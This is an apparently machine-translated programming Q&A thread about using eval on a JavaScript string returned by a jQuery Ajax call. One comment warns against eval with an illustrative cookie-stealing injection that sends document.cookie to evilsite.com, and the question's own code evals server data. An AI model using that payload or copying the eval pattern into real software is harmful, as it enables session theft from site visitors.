這裏的問題是字符串:評估字符串對象(JavaScript)的
$.ajax(......
,success:function(msg){
var obj = eval('['+msg.d+']');
},
....
}
msg.d
包含如下:
new Person(2, 'Name Surname','This is just string came from Par'is at Sat'urday');
如何傳遞的JavaScript的問題?
'eval()'是'EVIL'。 'eval()'會評估字符串中的所有內容,無論它是否好用,這取決於你提供的人員數據來自哪裏,你最終可能會遇到一個很大的安全問題。如果用戶設法像''new s Image ='src ='http://evilsite.com/steal?c='+ document.cookie''這樣的名字偷偷摸摸地進入你的數據庫,你的頁面仍然可以完美運行很好,只有兩件事情會有所不同1.姓氏將是空的,2.訪問者的登錄cookie將被盜用。請查看JSON,以便您可以安全地將數據傳遞給客戶端,而不會有eval的風險 – 2010-10-19 15:09:56
Ajax調用不會假設服務器端腳本返回的數據類型,因此msg只是一個字符串,而字符串不會'沒有'd'屬性。 – dvhh 2010-10-20 04:33:37